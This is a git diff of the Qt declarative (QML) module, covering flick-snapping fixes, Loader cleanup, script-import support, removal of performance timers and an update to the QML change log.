+30,12 @@ Map { Keys.onReturnPressed: map.address = input.text } } + Text { + id: loading + anchors.centerIn: parent + text: map.status == "Error" ? "Error" : "Loading" + opacity: map.status == "Ready" ? 0 : 1 + font.pixelSize: 30 + Behavior on opacity {NumberAnimation{}} + } } diff --git a/examples/declarative/webview/qdeclarative-in-html.qml b/examples/declarative/webview/qdeclarative-in-html.qml deleted file mode 100644 index 172ea4b..0000000 --- a/examples/declarative/webview/qdeclarative-in-html.qml +++ /dev/null @@ -1,33 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -// The WebView supports QML data through the HTML OBJECT tag -Rectangle { - color:"blue" - Flickable { - width: parent.width - height: parent.height/2 - contentWidth: web.width*web.scale - contentHeight: web.height*web.scale - WebView { - id: web - width: 250 - height: 420 - zoomFactor: 0.75 - smoothCache: true - settings.pluginsEnabled: true - html: "<html>\ - <body bgcolor=white>\ - These are QML plugins, shown in a QML WebView via HTML OBJECT tags, all scaled to 75%\ - and placed in a Flickable area...\ - <table border=1>\ - <tr><th>Duration <th>Color <th>Plugin\ - <tr><td>500 <td>red <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=500 color=red />\ - <tr><td>2000 <td>blue <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=2000 color=blue />\ - <tr><td>1000 <td>green <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=1000 color=green />\ - </table>\ - </body>\ - </html>" - } - } -} diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h index 89a0c0b..1ef875f 100644 --- a/src/corelib/global/qnamespace.h +++ b/src/corelib/global/qnamespace.h @@ -146,7 +146,8 @@ public: NoButton = 0x00000000, LeftButton = 0x00000001, RightButton = 0x00000002, - MidButton = 0x00000004, + MidButton = 0x00000004, // ### Qt 5: remove me + MiddleButton = MidButton, XButton1 = 0x00000008, XButton2 = 0x00000010, MouseButtonMask = 0x000000ff diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc index f8f3c49..8f9902f 100644 --- a/src/corelib/global/qnamespace.qdoc +++ b/src/corelib/global/qnamespace.qdoc @@ -185,6 +185,7 @@ left-handed mice.) \value RightButton The right button. \value MidButton The middle button. + \value MiddleButton The middle button. \value XButton1 The first X button. \value XButton2 The second X button. diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 7c584b4d..fcb1228 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -10,6 +10,8 @@ Removed DateTimeFormatter (use Qt.formatDateTime() instead) Using WebView now requires "import org.webkit 1.0" Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) +Removed ParentAction (use ParentAnimation instead) +ScriptAction: renamed stateChangeScriptName -> scriptName C++ API ------- @@ -25,6 +27,44 @@ syntax has been introduced: Item { Behavior on x {}; NumberAnimation on y {} } Only the syntax has changed, the behavior is identical. +Script element removed +---------------------- +Inline Script{} blocks have been deprecated, and will soon be removed entirely. +If you used Script to write inline javascript code, it can simply be removed. +For example + +Item { + Script { + function doSomething() {} + } +} + +becomes + +Item { + function doSomething() {} +} + +If you used Script to include external JavaScript files, you can replace the +Script element with an “import” line. For example + +MouseArea { + Script { + source: “foo.js” + } + onClicked: foo() +} + +becomes + +Import “foo.js” as Foo +MouseArea { + onClicked: Foo.foo() +} + +The “as” qualifier is mandatory for script imports (as opposed to type +imports where it is optional). + ============================================================================= The changes below are pre Qt 4.7.0 alpha diff --git a/src/declarative/debugger/qdeclarativedebug.cpp b/src/declarative/debugger/qdeclarativedebug.cpp index e4b7d4d..677d05f 100644 --- a/src/declarative/debugger/qdeclarativedebug.cpp +++ b/src/declarative/debugger/qdeclarativedebug.cpp @@ -151,6 +151,7 @@ void QDeclarativeEngineDebugPrivate::decode(QDataStream &ds, QDeclarativeDebugOb ds >> data; o.m_debugId = data.objectId; o.m_class = data.objectType; + o.m_idString = data.idString; o.m_name = data.objectName; o.m_source.m_url = data.url; o.m_source.m_lineNumber = data.lineNumber; @@ -750,8 +751,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int debugId) } QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclarativeDebugObjectReference &o) -: m_debugId(o.m_debugId), m_class(o.m_class), m_name(o.m_name), - m_source(o.m_source), m_contextDebugId(o.m_contextDebugId), +: m_debugId(o.m_debugId), m_class(o.m_class), m_idString(o.m_idString), + m_name(o.m_name), m_source(o.m_source), m_contextDebugId(o.m_contextDebugId), m_properties(o.m_properties), m_children(o.m_children) { } @@ -759,8 +760,8 @@ QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclar QDeclarativeDebugObjectReference & QDeclarativeDebugObjectReference::operator=(const QDeclarativeDebugObjectReference &o) { - m_debugId = o.m_debugId; m_class = o.m_class; m_name = o.m_name; - m_source = o.m_source; m_contextDebugId = o.m_contextDebugId; + m_debugId = o.m_debugId; m_class = o.m_class; m_idString = o.m_idString; + m_name = o.m_name; m_source = o.m_source; m_contextDebugId = o.m_contextDebugId; m_properties = o.m_properties; m_children = o.m_children; return *this; } @@ -775,6 +776,11 @@ QString QDeclarativeDebugObjectReference::className() const return m_class; } +QString QDeclarativeDebugObjectReference::idString() const +{ + return m_idString; +} + QString QDeclarativeDebugObjectReference::name() const { return m_name; diff --git a/src/declarative/debugger/qdeclarativedebug_p.h b/src/declarative/debugger/qdeclarativedebug_p.h index f0c7a77..4ead232 100644 --- a/src/declarative/debugger/qdeclarativedebug_p.h +++ b/src/declarative/debugger/qdeclarativedebug_p.h @@ -230,6 +230,7 @@ public: int debugId() const; QString className() const; + QString idString() const; QString name() const; QDeclarativeDebugFileReference source() const; @@ -242,6 +243,7 @@ private: friend class QDeclarativeEngineDebugPrivate; int m_debugId; QString m_class; + QString m_idString; QString m_name; QDeclarativeDebugFileReference m_source; int m_contextDebugId; diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index 1ebbaee..0e2ae63 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -42,6 +42,7 @@ #include "qdeclarativeflipable_p.h" #include "qdeclarativeitem_p.h" +#include "qdeclarativeguard_p.h" #include <qdeclarativeinfo.h> @@ -58,8 +59,8 @@ public: void updateSceneTransformFromParent(); QDeclarativeFlipable::Side current; - QDeclarativeItem *front; - QDeclarativeItem *back; + QDeclarativeGuard<QDeclarativeItem> front; + QDeclarativeGuard<QDeclarativeItem> back; }; /*! @@ -159,7 +160,7 @@ QDeclarativeFlipable::Side QDeclarativeFlipable::side() const { Q_D(const QDeclarativeFlipable); if (d->dirtySceneTransform) - const_cast<QDeclarativeFlipablePrivate *>(d)->updateSceneTransformFromParent(); + const_cast<QDeclarativeFlipablePrivate *>(d)->ensureSceneTransform(); return d->current; } @@ -192,7 +193,7 @@ void QDeclarativeFlipablePrivate::updateSceneTransformFromParent() if (newSide != current) { current = newSide; - if (current == QDeclarativeFlipable::Back) { + if (current == QDeclarativeFlipable::Back && back) { QTransform mat; mat.translate(back->width()/2,back->height()/2); if (back->width() && p1.x() >= p2.x()) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 93f8d06..afea4ea 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -786,28 +786,32 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); return; } - qreal maxDistance = -1; + qreal maxDistance = 0; // -ve velocity means list is moving up if (velocity > 0) { - if (snapMode == QDeclarativeGridView::SnapOneRow) { - if (FxGridItem *item = firstVisibleItem()) - maxDistance = qAbs(item->rowPos() + data.move.value()); - } else if (data.move.value() < minExtent) { - maxDistance = qAbs(minExtent - data.move.value()); + if (data.move.value() < minExtent) { + if (snapMode == QDeclarativeGridView::SnapOneRow) { + if (FxGridItem *item = firstVisibleItem()) + maxDistance = qAbs(item->rowPos() + data.move.value()); + } else { + maxDistance = qAbs(minExtent - data.move.value()); + } } if (snapMode != QDeclarativeGridView::SnapToRow && highlightRange != QDeclarativeGridView::StrictlyEnforceRange) data.flickTarget = minExtent; } else { - if (snapMode == QDeclarativeGridView::SnapOneRow) { - qreal pos = snapPosAt(-data.move.value()) + rowSize(); - maxDistance = qAbs(pos + data.move.value()); - } else if (data.move.value() > maxExtent) { - maxDistance = qAbs(maxExtent - data.move.value()); + if (data.move.value() > maxExtent) { + if (snapMode == QDeclarativeGridView::SnapOneRow) { + qreal pos = snapPosAt(-data.move.value()) + rowSize(); + maxDistance = qAbs(pos + data.move.value()); + } else { + maxDistance = qAbs(maxExtent - data.move.value()); + } } if (snapMode != QDeclarativeGridView::SnapToRow && highlightRange != QDeclarativeGridView::StrictlyEnforceRange) data.flickTarget = maxExtent; } - if (maxDistance > 0 && (snapMode != QDeclarativeGridView::NoSnap || highlightRange == QDeclarativeGridView::StrictlyEnforceRange)) { + if ((maxDistance > 0 || overShoot) && (snapMode != QDeclarativeGridView::NoSnap || highlightRange == QDeclarativeGridView::StrictlyEnforceRange)) { // This mode requires the grid to stop exactly on a row boundary. qreal v = velocity; if (maxVelocity != -1 && maxVelocity < qAbs(v)) { @@ -818,9 +822,8 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m } qreal accel = deceleration; qreal v2 = v * v; - qreal maxAccel = v2 / (2.0f * maxDistance); qreal overshootDist = 0.0; - if (maxAccel < accel) { + if (maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) { // + rowSize()/4 to encourage moving at least one item in the flick direction qreal dist = v2 / (accel * 2.0) + rowSize()/4; if (v > 0) @@ -1504,10 +1507,12 @@ qreal QDeclarativeGridView::maxYExtent() const if (d->flow == QDeclarativeGridView::TopToBottom) return QDeclarativeFlickable::maxYExtent(); qreal extent; - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { extent = -(d->endPosition() - d->highlightRangeEnd); - else + extent = qMax(extent, -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart)); + } else { extent = -(d->endPosition() - height()); + } const qreal minY = minYExtent(); if (extent > minY) extent = minY; @@ -1531,10 +1536,12 @@ qreal QDeclarativeGridView::maxXExtent() const if (d->flow == QDeclarativeGridView::LeftToRight) return QDeclarativeFlickable::maxXExtent(); qreal extent; - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { extent = -(d->endPosition() - d->highlightRangeEnd); - else + extent = qMax(extent, -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart)); + } else { extent = -(d->endPosition() - height()); + } const qreal minX = minXExtent(); if (extent > minX) extent = minX; diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 4ba80ad..9b1bdba 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -45,7 +45,6 @@ #include "qdeclarativeevents_p_p.h" #include <private/qdeclarativeengine_p.h> -#include <qfxperf_p_p.h> #include <qdeclarativeengine.h> #include <qdeclarativeopenmetaobject_p.h> #include <qdeclarativestate_p.h> @@ -2491,10 +2490,6 @@ void QDeclarativeItem::classBegin() */ void QDeclarativeItem::componentComplete() { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::ItemComponentComplete> cc; -#endif - Q_D(QDeclarativeItem); d->_componentComplete = true; if (d->_stateGroup) diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 84281c8..4cf8117 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -1136,28 +1136,32 @@ void QDeclarativeListViewPrivate::flick(AxisData &data, qreal minExtent, qreal m QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); return; } - qreal maxDistance = -1; - // -ve velocity means list is moving up + qreal maxDistance = 0; + // -ve velocity means list is moving up/left if (velocity > 0) { - if (snapMode == QDeclarativeListView::SnapOneItem) { - if (FxListItem *item = firstVisibleItem()) - maxDistance = qAbs(item->position() + data.move.value()); - } else if (data.move.value() < minExtent) { - maxDistance = qAbs(minExtent - data.move.value()); + if (data.move.value() < minExtent) { + if (snapMode == QDeclarativeListView::SnapOneItem) { + if (FxListItem *item = firstVisibleItem()) + maxDistance = qAbs(item->position() + data.move.value()); + } else { + maxDistance = qAbs(minExtent - data.move.value()); + } } if (snapMode != QDeclarativeListView::SnapToItem && highlightRange != QDeclarativeListView::StrictlyEnforceRange) data.flickTarget = minExtent; } else { - if (snapMode == QDeclarativeListView::SnapOneItem) { - if (FxListItem *item = nextVisibleItem()) - maxDistance = qAbs(item->position() + data.move.value()); - } else if (data.move.value() > maxExtent) { - maxDistance = qAbs(maxExtent - data.move.value()); + if (data.move.value() > maxExtent) { + if (snapMode == QDeclarativeListView::SnapOneItem) { + if (FxListItem *item = nextVisibleItem()) + maxDistance = qAbs(item->position() + data.move.value()); + } else { + maxDistance = qAbs(maxExtent - data.move.value()); + } } if (snapMode != QDeclarativeListView::SnapToItem && highlightRange != QDeclarativeListView::StrictlyEnforceRange) data.flickTarget = maxExtent; } - if (maxDistance > 0 && (snapMode != QDeclarativeListView::NoSnap || highlightRange == QDeclarativeListView::StrictlyEnforceRange)) { + if ((maxDistance > 0 || overShoot) && (snapMode != QDeclarativeListView::NoSnap || highlightRange == QDeclarativeListView::StrictlyEnforceRange)) { // These modes require the list to stop exactly on an item boundary. // The initial flick will estimate the boundary to stop on. // Since list items can have variable sizes, the boundary will be @@ -1173,8 +1177,7 @@ void QDeclarativeListViewPrivate::flick(AxisData &data, qreal minExtent, qreal m // the initial flick - estimate boundary qreal accel = deceleration; qreal v2 = v * v; - qreal maxAccel = v2 / (2.0f * maxDistance); - if (maxAccel < accel) { + if (maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) { // + averageSize/4 to encourage moving at least one item in the flick direction qreal dist = v2 / (accel * 2.0) + averageSize/4; if (v > 0) @@ -2063,9 +2066,10 @@ qreal QDeclarativeListView::maxYExtent() const if (d->orient == QDeclarativeListView::Horizontal) return height(); if (d->maxExtentDirty) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { d->maxExtent = -(d->endPosition() - d->highlightRangeEnd); - else + d->maxExtent = qMax(d->maxExtent, -(d->positionAt(d->model->count()-1) - d->highlightRangeStart)); + } else d->maxExtent = -(d->endPosition() - height() + 1); if (d->footer) d->maxExtent -= d->footer->size(); @@ -2100,9 +2104,10 @@ qreal QDeclarativeListView::maxXExtent() const if (d->orient == QDeclarativeListView::Vertical) return width(); if (d->maxExtentDirty) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { d->maxExtent = -(d->endPosition() - d->highlightRangeEnd); - else + d->maxExtent = qMax(d->maxExtent, -(d->positionAt(d->model->count()-1) - d->highlightRangeStart)); + } else d->maxExtent = -(d->endPosition() - width() + 1); if (d->footer) d->maxExtent -= d->footer->size(); diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 6dbcd16..0d62afa 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -41,7 +41,9 @@ #include "qdeclarativeloader_p_p.h" +#include <qdeclarativeinfo.h> #include <qdeclarativeengine_p.h> +#include <qdeclarativeglobal_p.h> QT_BEGIN_NAMESPACE @@ -66,7 +68,7 @@ void QDeclarativeLoaderPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem void QDeclarativeLoaderPrivate::clear() { if (ownComponent) { - delete component; + component->deleteLater(); component = 0; ownComponent = false; } @@ -285,11 +287,20 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() return; } + QDeclarativeComponent *c = component; QObject *obj = component->create(ctxt); + if (component != c) { + // component->create could trigger a change in source that causes + // component to be set to something else. In that case we just + // need to cleanup. + delete obj; + delete ctxt; + return; + } if (obj) { - ctxt->setParent(obj); item = qobject_cast<QGraphicsObject *>(obj); if (item) { + QDeclarative_setParent_noEvent(ctxt, obj); if (QDeclarativeItem* qmlItem = qobject_cast<QDeclarativeItem *>(item)) { qmlItem->setParentItem(q); } else { @@ -298,8 +309,14 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() } // item->setFocus(true); initResize(); + } else { + qmlInfo(q) << QDeclarativeLoader::tr("Loader does not support loading non-visual elements."); + delete obj; + delete ctxt; } } else { + if (!component->errors().isEmpty()) + qWarning() << component->errors(); delete obj; delete ctxt; source = QUrl(); diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index 80586b8..8cd990fc 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -42,9 +42,8 @@ #include "qdeclarativepath_p.h" #include "qdeclarativepath_p_p.h" -#include <qfxperf_p_p.h> - #include <QSet> +#include <QTime> #include <private/qbezier_p.h> @@ -314,7 +313,6 @@ QStringList QDeclarativePath::attributes() const Q_D(const QDeclarativePath); return d->_attributes; } -#include <QTime> static inline QBezier nextBezier(const QPainterPath &path, int *from, qreal *bezLength) { @@ -356,9 +354,6 @@ static inline QBezier nextBezier(const QPainterPath &path, int *from, qreal *bez void QDeclarativePath::createPointCache() const { Q_D(const QDeclarativePath); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::QDeclarativePathViewPathCache> pc; -#endif qreal pathLength = d->_path.length(); const int points = int(pathLength*2); const int lastElement = d->_path.elementCount() - 1; diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 0f59a70..ded58f5 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -46,7 +46,6 @@ #include <qdeclarativestate_p.h> #include <qdeclarativestategroup_p.h> #include <qdeclarativestateoperations_p.h> -#include <qfxperf_p_p.h> #include <QtCore/qmath.h> #include <QDebug> @@ -164,9 +163,6 @@ void QDeclarativeBasePositioner::componentComplete() { Q_D(QDeclarativeBasePositioner); QDeclarativeItem::componentComplete(); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::BasepositionerComponentComplete> cc; -#endif positionedItems.reserve(d->QGraphicsItemPrivate::children.count()); prePositioning(); } @@ -225,20 +221,21 @@ void QDeclarativeBasePositioner::prePositioning() d->watchChanges(child); positionedItems.append(posItem); item = &positionedItems[positionedItems.count()-1]; + item->isNew = true; + if (child->opacity() <= 0.0 || !child->isVisible()) + item->isVisible = false; } else { item = &oldItems[wIdx]; + if (child->opacity() <= 0.0 || !child->isVisible()) { + item->isVisible = false; + } else if (!item->isVisible) { + item->isVisible = true; + item->isNew = true; + } else { + item->isNew = false; + } positionedItems.append(*item); } - if (child->opacity() <= 0.0 || !child->isVisible()) { - item->isVisible = false; - continue; - } - if (!item->isVisible) { - item->isVisible = true; - item->isNew = true; - } else { - item->isNew = false; - } } doPositioning(); if(d->addTransition || d->moveTransition) @@ -261,11 +258,14 @@ void QDeclarativeBasePositioner::positionX(int x, const PositionedItem &target) { Q_D(QDeclarativeBasePositioner); if(d->type == Horizontal || d->type == Both){ - if(!d->addTransition && !d->moveTransition){ - target.item->setX(x); - }else{ - if(target.isNew) + if (target.isNew) { + if (!d->addTransition) + target.item->setX(x); + else d->addActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x)); + } else if (x != target.item->x()) { + if (!d->moveTransition) + target.item->setX(x); else d->moveActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x)); } @@ -276,11 +276,14 @@ void QDeclarativeBasePositioner::positionY(int y, const PositionedItem &target) { Q_D(QDeclarativeBasePositioner); if(d->type == Vertical || d->type == Both){ - if(!d->addTransition && !d->moveTransition){ - target.item->setY(y); - }else{ - if(target.isNew) + if (target.isNew) { + if (!d->addTransition) + target.item->setY(y); + else d->addActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y)); + } else if (y != target.item->y()) { + if (!d->moveTransition) + target.item->setY(y); else d->moveActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y)); } diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp index b9696c8..e8f9b24 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp +++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp @@ -358,14 +358,10 @@ void QDeclarativeRepeater::itemsMoved(int from, int to, int count) removed << d->deletables.takeAt(from); for (int i = 0; i < count; ++i) d->deletables.insert(to + i, removed.at(i)); - for (int i = 0; i < d->model->count(); ++i) { - if (i < from && i < to) - continue; - QDeclarativeItem *item = d->deletables.at(i); - if (i < d->deletables.count()-1) - item->stackBefore(d->deletables.at(i+1)); - else - item->stackBefore(this); + d->deletables.last()->stackBefore(this); + for (int i = d->model->count()-1; i > 0; --i) { + QDeclarativeItem *item = d->deletables.at(i-1); + item->stackBefore(d->deletables.at(i)); } } diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index 05139f6..b0b5f6d 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -43,8 +43,6 @@ #include "qdeclarativetext_p_p.h" #include <qdeclarativestyledtext_p.h> -#include <qfxperf_p_p.h> - #include <QTextLayout> #include <QTextLine> #include <QTextDocument> @@ -152,9 +150,6 @@ void QDeclarativeText::setFont(const QFont &font) void QDeclarativeText::setText(const QString &n) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::QDeclarativeText_setText> st; -#endif Q_D(QDeclarativeText); if (d->text == n) return; @@ -876,9 +871,6 @@ void QDeclarativeText::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWid void QDeclarativeText::componentComplete() { Q_D(QDeclarativeText); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::TextComponentComplete> cc; -#endif QDeclarativeItem::componentComplete(); if (d->dirty) { d->updateLayout(); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index dbae47d..7dacfbb 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -44,8 +44,6 @@ #include "qdeclarativeevents_p_p.h" -#include <qfxperf_p_p.h> - #include <QTextLayout> #include <QTextLine> #include <QTextDocument> diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 01167dc..b049728 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -220,6 +220,7 @@ void QDeclarativeTextInput::setHAlign(HAlignment align) if(align == d->hAlign) return; d->hAlign = align; + updateRect(); emit horizontalAlignmentChanged(d->hAlign); } diff --git a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp index 6341764..b31bbd0 100644 --- a/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp +++ b/src/declarative/graphicsitems/qdeclarativevisualitemmodel.cpp @@ -422,6 +422,8 @@ int QDeclarativeVisualDataModelDataMetaObject::createProperty(const char *name, return -1; QDeclarativeVisualDataModelPrivate *model = QDeclarativeVisualDataModelPrivate::get(data->m_model); + if (data->m_index < 0 || data->m_index >= model->modelCount()) + return -1; if ((!model->m_listModelInterface || !model->m_abstractItemModel) && model->m_listAccessor) { if (model->m_listAccessor->type() == QDeclarativeListAccessor::ListProperty) { diff --git a/src/declarative/qml/parser/qdeclarativejs.g b/src/declarative/qml/parser/qdeclarativejs.g index 493ad25..0256c52 100644 --- a/src/declarative/qml/parser/qdeclarativejs.g +++ b/src/declarative/qml/parser/qdeclarativejs.g @@ -665,7 +665,9 @@ case $rule_number: { sym(1).Node = node; - if (! node) { + if (node) { + node->importToken = loc(1); + } else { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1), QLatin1String("Expected a qualified name id or a string literal"))); diff --git a/src/declarative/qml/parser/qdeclarativejsparser.cpp b/src/declarative/qml/parser/qdeclarativejsparser.cpp index c86e047..9205ef4 100644 --- a/src/declarative/qml/parser/qdeclarativejsparser.cpp +++ b/src/declarative/qml/parser/qdeclarativejsparser.cpp @@ -284,7 +284,9 @@ case 20: { sym(1).Node = node; - if (! node) { + if (node) { + node->importToken = loc(1); + } else { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1), QLatin1String("Expected a qualified name id or a string literal"))); diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 090bd5b..a7047ab 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -49,8 +49,6 @@ #include "qdeclarativedeclarativedata_p.h" #include "qdeclarativestringconverters_p.h" -#include <qfxperf_p_p.h> - #include <QVariant> #include <QtCore/qdebug.h> @@ -126,9 +124,6 @@ void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags) { Q_D(QDeclarativeBinding); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::BindableValueUpdate> bu; -#endif QDeclarativeBindingData *data = d->bindingData(); if (!data->enabled) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 42d2950..e668553 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -67,8 +67,6 @@ #include "qdeclarativecompiledbindings_p.h" #include "qdeclarativeglobalscriptclass_p.h" -#include <qfxperf_p_p.h> - #include <QCoreApplication> #include <QColor> #include <QDebug> @@ -77,6 +75,7 @@ #include <QRectF> #include <QAtomicInt> #include <QtCore/qdebug.h> +#include <QtCore/qdatetime.h> QT_BEGIN_NAMESPACE @@ -543,12 +542,9 @@ void QDeclarativeCompiler::reset(QDeclarativeCompiledData *data) on a successful compiler. */ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine, - QDeclarativeCompositeTypeData *unit, - QDeclarativeCompiledData *out) + QDeclarativeCompositeTypeData *unit, + QDeclarativeCompiledData *out) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::Compilation> pc; -#endif exceptions.clear(); Q_ASSERT(out); @@ -637,6 +633,37 @@ void QDeclarativeCompiler::compileTree(Object *tree) init.init.compiledBinding = output->indexForByteArray(compileState.compiledBindingData); output->bytecode << init; + // Build global import scripts + QHash<QString, Object::ScriptBlock> importedScripts; + QStringList importedScriptIndexes; + + for (int ii = 0; ii < unit->scripts.count(); ++ii) { + QString scriptCode = QString::fromUtf8(unit->scripts.at(ii).resource->data); + Object::ScriptBlock::Pragmas pragmas = QDeclarativeScriptParser::extractPragmas(scriptCode); + + if (!scriptCode.isEmpty()) { + Object::ScriptBlock &scriptBlock = importedScripts[unit->scripts.at(ii).qualifier]; + + scriptBlock.codes.append(scriptCode); + scriptBlock.lineNumbers.append(1); + scriptBlock.files.append(unit->scripts.at(ii).resource->url); + scriptBlock.pragmas.append(pragmas); + } + } + + for (QHash<QString, Object::ScriptBlock>::Iterator iter = importedScripts.begin(); + iter != importedScripts.end(); ++iter) { + + importedScriptIndexes.append(iter.key()); + + QDeclarativeInstruction import; + import.type = QDeclarativeInstruction::StoreImportedScript; + import.line = 0; + import.storeScript.value = output->scripts.count(); + output->scripts << *iter; + output->bytecode << import; + } + genObject(tree); QDeclarativeInstruction def; @@ -645,7 +672,13 @@ void QDeclarativeCompiler::compileTree(Object *tree) output->bytecode << def; output->imports = unit->imports; - output->importCache = output->imports.cache(engine); + + output->importCache = new QDeclarativeTypeNameCache(engine); + + for (int ii = 0; ii < importedScriptIndexes.count(); ++ii) + output->importCache->add(importedScriptIndexes.at(ii), ii); + + output->imports.cache(output->importCache, engine); Q_ASSERT(tree->metatype); @@ -1157,6 +1190,8 @@ bool QDeclarativeCompiler::buildComponent(QDeclarativeParser::Object *obj, bool QDeclarativeCompiler::buildScript(QDeclarativeParser::Object *obj, QDeclarativeParser::Object *script) { + qWarning().nospace() << qPrintable(output->url.toString()) << ":" << obj->location.start.line << ":" << obj->location.start.column << ": Script blocks have been deprecated. Support will be removed entirely shortly."; + Object::ScriptBlock scriptBlock; if (script->properties.count() == 1 && @@ -1188,6 +1223,7 @@ bool QDeclarativeCompiler::buildScript(QDeclarativeParser::Object *obj, QDeclara 